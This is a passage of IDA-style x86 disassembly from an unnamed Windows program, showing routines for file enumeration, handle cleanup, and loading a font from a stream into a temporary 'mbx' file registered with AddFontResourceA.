		mov	[ebp+var_48], ecx
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_4CF4AC
		jmp	short loc_4CF441
; ---------------------------------------------------------------------------


loc_4CF43A:				; CODE XREF: sub_4CF252:loc_4CF4AAj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_4CF441:				; CODE XREF: sub_4CF252+1E6j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_1C], eax
		jnb	short loc_4CF4AC
		mov	eax, [ebp+var_1C]
		inc	eax
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		mov	edi, [eax]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_48]
		add	eax, [ebp+var_38]
		cmp	ecx, eax
		jb	short loc_4CF4A8
		mov	ecx, [ebp+var_48]
		add	ecx, [ebp+var_38]
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	edx, ds:dword_4E1908
		mov	edx, [edx+8]
		mov	eax, [edx+eax]
		mov	edi, [eax]
		mov	eax, [ebp+var_1C]
		inc	eax
		shl	eax, 4
		mov	edx, ds:dword_4E1908
		mov	edx, [edx+8]
		mov	eax, [edx+eax]
		mov	esi, [eax]
		xor	eax, eax
		repe cmpsb
		jz	short loc_4CF4AA


loc_4CF4A8:				; CODE XREF: sub_4CF252+21Fj
		jmp	short loc_4CF4AC
; ---------------------------------------------------------------------------


loc_4CF4AA:				; CODE XREF: sub_4CF252+254j
		jmp	short loc_4CF43A
; ---------------------------------------------------------------------------


loc_4CF4AC:				; CODE XREF: sub_4CF252+1E4j
					; sub_4CF252+1F6j ...
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_38]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	[ebp+var_40], ecx
		mov	eax, [ebp+var_40]
		mov	eax, [eax]
		mov	[ebp+var_44], eax
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		stosd
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		add	edi, 2Ch
		rep stosd
		cmp	[ebp+var_48], 104h
		jnb	short loc_4CF505
		mov	eax, [ebp+var_48]
		mov	[ebp+var_54], eax
		jmp	short loc_4CF50C
; ---------------------------------------------------------------------------


loc_4CF505:				; CODE XREF: sub_4CF252+2A9j
		mov	[ebp+var_54], 104h


loc_4CF50C:				; CODE XREF: sub_4CF252+2B1j
		mov	ecx, [ebp+var_54]
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+arg_4]
		add	edi, 2Ch
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		add	edi, 130h
		stosd
		stosd
		stosd
		stosw
		cmp	[ebp+var_48], 0Eh
		jbe	short loc_4CF545
		mov	[ebp+var_58], 0Eh
		jmp	short loc_4CF54B
; ---------------------------------------------------------------------------


loc_4CF545:				; CODE XREF: sub_4CF252+2E8j
		mov	eax, [ebp+var_48]
		mov	[ebp+var_58], eax


loc_4CF54B:				; CODE XREF: sub_4CF252+2F1j
		mov	ecx, [ebp+var_58]
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+arg_4]
		add	edi, 130h
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		movzx	eax, [ebp+var_30]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_44]
		mov	ecx, [ecx+8]
		mov	[eax+20h], ecx
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+4], edx
		mov	eax, [eax+20h]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+0Ch], edx
		mov	eax, [eax+20h]
		mov	[ecx+10h], eax
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+14h], edx
		mov	eax, [eax+20h]
		mov	[ecx+18h], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4CF5D2
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_40]
		mov	[eax], ecx


loc_4CF5D2:				; CODE XREF: sub_4CF252+376j
		push	0FFFFFFFFh
		mov	[ebp+var_5C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_5C]
		jmp	short loc_4CF62D
; ---------------------------------------------------------------------------


loc_4CF5EB:				; CODE XREF: sub_4CF252+15Aj
					; sub_4CF252+1C8j
		cmp	[ebp+arg_8], 0
		jz	short loc_4CF60C
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0Ch]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx


loc_4CF60C:				; CODE XREF: sub_4CF252+39Dj
		push	12h
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error


loc_4CF614:				; CODE XREF: sub_4CF252+D1j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4CF61F
		jmp	short loc_4CF62B
sub_4CF252	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CF61F	proc near		; CODE XREF: sub_4CF252+3C6p
					; DATA XREF: _5:004DE2D8o
		push	offset dword_4E18C8
		call	ds:dword_4E1754	; RtlLeaveCriticalSection
		retn
sub_4CF61F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4CF252


loc_4CF62B:				; CODE XREF: sub_4CF252+3CBj
		xor	eax, eax


loc_4CF62D:				; CODE XREF: sub_4CF252+51j
					; sub_4CF252+13Aj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4CF252

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CF63E	proc near		; CODE XREF: sub_4DA334+Ep
					; sub_4DA361+7Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		or	dword ptr [eax], 0FFFFFFFFh
		push	0Ch
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4CF67B
		mov	eax, [ebp+var_8]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4CF67F
; ---------------------------------------------------------------------------


loc_4CF67B:				; CODE XREF: sub_4CF63E+1Fj
		and	[ebp+var_C], 0


loc_4CF67F:				; CODE XREF: sub_4CF63E+3Bj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	dword ptr [eax], 0
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4CF252
		test	eax, eax
		jz	short loc_4CF6D8
		push	0
		push	[ebp+arg_0]
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+8], 0
		push	[ebp+var_4]
		push	[ebp+var_4]
		mov	ecx, ds:dword_4E18EC
		call	sub_4CC000
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short locret_4CF6DA
; ---------------------------------------------------------------------------


loc_4CF6D8:				; CODE XREF: sub_4CF63E+5Dj
		xor	eax, eax

locret_4CF6DA:				; CODE XREF: sub_4CF63E+98j
		leave
		retn	0Ch
sub_4CF63E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CF6DE	proc near		; CODE XREF: sub_4DA626+12p
					; sub_4DA657+19p

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 004CF805 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE2F0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4E18EC
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4CF724
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_4CF728
; ---------------------------------------------------------------------------


loc_4CF724:				; CODE XREF: sub_4CF6DE+31j
		and	[ebp+var_24], 0


loc_4CF728:				; CODE XREF: sub_4CF6DE+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	loc_4CF805
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18EC
		call	sub_4DB871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_4CF7DE
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4CF778
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	sub_4CF252
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_4CF778:				; CODE XREF: sub_4CF6DE+82j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jnz	short loc_4CF7C5
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4CF7B1
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	ds:dword_4E16D0	; FindFirstFileA
		mov	ecx, [ebp+var_1C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		setnz	cl
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx
		jmp	short loc_4CF7C5
; ---------------------------------------------------------------------------


loc_4CF7B1:				; CODE XREF: sub_4CF6DE+A9j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		call	ds:dword_4E16D4	; FindNextFileA
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_4CF7C5:				; CODE XREF: sub_4CF6DE+A0j
					; sub_4CF6DE+D1j
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_4CF807
; ---------------------------------------------------------------------------


loc_4CF7DE:				; CODE XREF: sub_4CF6DE+6Fj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4CF7E9
		jmp	short loc_4CF805
sub_4CF6DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CF7E9	proc near		; CODE XREF: sub_4CF6DE+104p
		mov	eax, ds:dword_4E18EC
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_4CF804
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4CF804:				; CODE XREF: sub_4CF7E9+Cj
		retn
sub_4CF7E9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4CF6DE


loc_4CF805:				; CODE XREF: sub_4CF6DE+50j
					; sub_4CF6DE+109j
		xor	eax, eax


loc_4CF807:				; CODE XREF: sub_4CF6DE+FEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4CF6DE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CF818	proc near		; CODE XREF: sub_4D0741+CEp
					; sub_4DA5FF+Bp

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004CF939 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE300
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4E18EC
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_4CF85E
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_4CF862
; ---------------------------------------------------------------------------


loc_4CF85E:				; CODE XREF: sub_4CF818+31j
		and	[ebp+var_2C], 0


loc_4CF862:				; CODE XREF: sub_4CF818+44j
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_4CF939
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18EC
		call	sub_4DB871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_4CF912
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_4CF8A2
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		call	ds:dword_4E16A4	; CloseHandle


loc_4CF8A2:				; CODE XREF: sub_4CF818+7Cj
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18EC
		call	sub_4DB8E0
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4CF8EC
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_4D83DD
		pop	ecx
		push	1
		pop	eax
		and	eax, 1
		test	eax, eax
		jz	short loc_4CF8E4
		push	[ebp+var_20]
		call	sub_4D83DD
		pop	ecx


loc_4CF8E4:				; CODE XREF: sub_4CF818+C1j
		mov	eax, [ebp+var_20]
		mov	[ebp+var_38], eax
		jmp	short loc_4CF8F0
; ---------------------------------------------------------------------------


loc_4CF8EC:				; CODE XREF: sub_4CF818+A5j
		and	[ebp+var_38], 0


loc_4CF8F0:				; CODE XREF: sub_4CF818+D2j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 1
		push	0FFFFFFFFh
		mov	[ebp+var_3C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_4CF93B
; ---------------------------------------------------------------------------


loc_4CF912:				; CODE XREF: sub_4CF818+6Fj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4CF91D
		jmp	short loc_4CF939
sub_4CF818	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CF91D	proc near		; CODE XREF: sub_4CF818+FEp
					; DATA XREF: _5:004DE308o
		mov	eax, ds:dword_4E18EC
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short locret_4CF938
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4CF938:				; CODE XREF: sub_4CF91D+Cj
		retn
sub_4CF91D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4CF818


loc_4CF939:				; CODE XREF: sub_4CF818+50j
					; sub_4CF818+103j
		xor	eax, eax


loc_4CF93B:				; CODE XREF: sub_4CF818+F8j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4CF818

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CF94C	proc near		; CODE XREF: sub_4DB23E+20p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004CFAAF SIZE 000001F8 BYTES
; FUNCTION CHUNK AT 004CFD11 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE310
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_20], 0FFFFFFFFh
		or	[ebp+var_28], 0FFFFFFFFh
		and	[ebp+var_2C], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_24], 0
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_4D0346
		test	eax, eax
		jz	loc_4CFD11
		cmp	[ebp+var_20], 0FFFFFFFFh
		jz	loc_4CFD11
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_4CF9D0
		mov	eax, [ebp+var_6C]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_70], 1
		jmp	short loc_4CF9D4
; ---------------------------------------------------------------------------


loc_4CF9D0:				; CODE XREF: sub_4CF94C+6Fj
		and	[ebp+var_70], 0


loc_4CF9D4:				; CODE XREF: sub_4CF94C+82j
		movzx	eax, [ebp+var_70]
		test	eax, eax
		jz	loc_4CFD11
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_20]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_34], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_4CFA1E
		push	ds:off_4DE4F8
		push	22h
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4CFA1E:				; CODE XREF: sub_4CF94C+BDj
		mov	eax, ds:dword_4E18E8
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_4CFA3F
		mov	eax, [ebp+var_74]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_78], 1
		jmp	short loc_4CFA43
; ---------------------------------------------------------------------------


loc_4CFA3F:				; CODE XREF: sub_4CF94C+DEj
		and	[ebp+var_78], 0


loc_4CFA43:				; CODE XREF: sub_4CF94C+F1j
		movzx	eax, [ebp+var_78]
		test	eax, eax
		jz	short loc_4CFAAF
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_30]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4E18E8
		call	sub_4DB871
		test	eax, eax
		jz	short loc_4CFA88
		push	0FFFFFFFFh
		mov	[ebp+var_84], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_84]
		jmp	loc_4CFD13
; ---------------------------------------------------------------------------


loc_4CFA88:				; CODE XREF: sub_4CF94C+118j
		and	[ebp+var_4], 0
		call	sub_4CFA93
		jmp	short loc_4CFAAF
sub_4CF94C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4CFA93	proc near		; CODE XREF: sub_4CF94C+140p
					; DATA XREF: _5:004DE324o
		mov	eax, ds:dword_4E18E8
		mov	[ebp-7Ch], eax
		cmp	dword ptr [ebp-7Ch], 0
		jz	short locret_4CFAAE
		mov	eax, [ebp-7Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4CFAAE:				; CODE XREF: sub_4CFA93+Cj
		retn
sub_4CFA93	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4CF94C


loc_4CFAAF:				; CODE XREF: sub_4CF94C+FDj
					; sub_4CF94C+145j
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_50]
		mov	[ebp+var_2C], eax
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_54], eax
		mov	eax, [ebp+var_54]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	104h
		call	ds:dword_4E1734	; GetTempPathA
		push	[ebp+var_2C]
		push	0
		push	offset aMbx	; "mbx"
		push	[ebp+var_1C]
		call	ds:dword_4E1730	; GetTempFileNameA
		push	0
		push	0
		push	4
		push	0
		push	1
		push	40000000h
		push	[ebp+var_2C]
		call	ds:dword_4E16A8	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_4CFB3B
		push	0FFFFFFFFh
		mov	[ebp+var_88], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_88]
		jmp	loc_4CFD13
; ---------------------------------------------------------------------------


loc_4CFB3B:				; CODE XREF: sub_4CF94C+1CBj
		push	1000h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		mov	[ebp+var_24], eax
		and	[ebp+var_38], 0


loc_4CFB53:				; CODE XREF: sub_4CF94C+2BFj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		cmp	ecx, [eax+8]
		jnb	loc_4CFC10
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 1000h
		jbe	short loc_4CFB7B
		mov	[ebp+var_48], 1000h


loc_4CFB7B:				; CODE XREF: sub_4CF94C+226j
		lea	eax, [ebp+var_40]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_48]
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4CFB9D
		cmp	[ebp+var_40], 0
		jnz	short loc_4CFBBF


loc_4CFB9D:				; CODE XREF: sub_4CF94C+249j
		push	0FFFFFFFFh
		mov	[ebp+var_8C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		jmp	loc_4CFD13
; ---------------------------------------------------------------------------


loc_4CFBBF:				; CODE XREF: sub_4CF94C+24Fj
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_3C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	ds:dword_4E17BC	; WriteFile
		test	eax, eax
		jz	short loc_4CFBE0
		mov	eax, [ebp+var_44]
		cmp	eax, [ebp+var_3C]
		jz	short loc_4CFC02


loc_4CFBE0:				; CODE XREF: sub_4CF94C+28Aj
		push	0FFFFFFFFh
		mov	[ebp+var_90], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		jmp	loc_4CFD13
; ---------------------------------------------------------------------------


loc_4CFC02:				; CODE XREF: sub_4CF94C+292j
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_3C]
		mov	[ebp+var_38], eax
		jmp	loc_4CFB53
; ---------------------------------------------------------------------------


loc_4CFC10:				; CODE XREF: sub_4CF94C+210j
		push	[ebp+var_28]
		call	ds:dword_4E16A4	; CloseHandle
		or	[ebp+var_28], 0FFFFFFFFh
		push	[ebp+var_2C]
		call	ds:dword_4E17DC	; AddFontResourceA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_4CFC3C
		push	[ebp+var_2C]
		call	ds:dword_4E16C0	; DeleteFileA


loc_4CFC3C:				; CODE XREF: sub_4CF94C+2E5j
		push	8
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jz	short loc_4CFC67
		mov	eax, [ebp+var_5C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_94], eax
		jmp	short loc_4CFC6E
; ---------------------------------------------------------------------------


loc_4CFC67:				; CODE XREF: sub_4CF94C+2FFj
		and	[ebp+var_94], 0


loc_4CFC6E:				; CODE XREF: sub_4CF94C+319j
		push	[ebp+var_94]
		mov	eax, [ebp+var_30]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4E18E8
		call	sub_4CC000
		and	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_98], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_98]
		jmp	short loc_4CFD13
; END OF FUNCTION CHUNK	FOR sub_4CF94C

; =============== S U B	R O U T	I N E =======================================



sub_4CFCA7	proc near		; DATA XREF: _5:004DE318o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-80h], eax
		cmp	dword ptr [ebp-80h], 0
		jz	short loc_4CFCC2
		mov	eax, [ebp-80h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection


loc_4CFCC2:				; CODE XREF: sub_4CFCA7+Cj
		cmp	dword ptr [ebp-20h], 0FFFFFFFFh
		jz	short loc_4CFCD4
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-20h]
		call	sub_4D0741


loc_4CFCD4:				; CODE XREF: sub_4CFCA7+1Fj
		cmp	dword ptr [ebp-28h], 0FFFFFFFFh
		jz	short loc_4CFCE3
		push	dword ptr [ebp-28h]
		call	ds:dword_4E16A4	; CloseHandle


loc_4CFCE3:				; CODE XREF: sub_4CFCA7+31j
		mov	eax, [ebp-2Ch]
		mov	[ebp-60h], eax
		push	dword ptr [ebp-60h]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-1Ch]
		mov	[ebp-64h], eax
		push	dword ptr [ebp-64h]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-24h]
		mov	[ebp-68h], eax
		push	dword ptr [ebp-68h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4CFCA7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4CF94C


loc_4CFD11:				; CODE XREF: sub_4CF94C+53j
					; sub_4CF94C+5Dj ...
		xor	eax, eax


loc_4CFD13:				; CODE XREF: sub_4CF94C+137j
					; sub_4CF94C+1EAj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4CF94C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CFD24	proc near		; CODE XREF: sub_4DB277+20p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
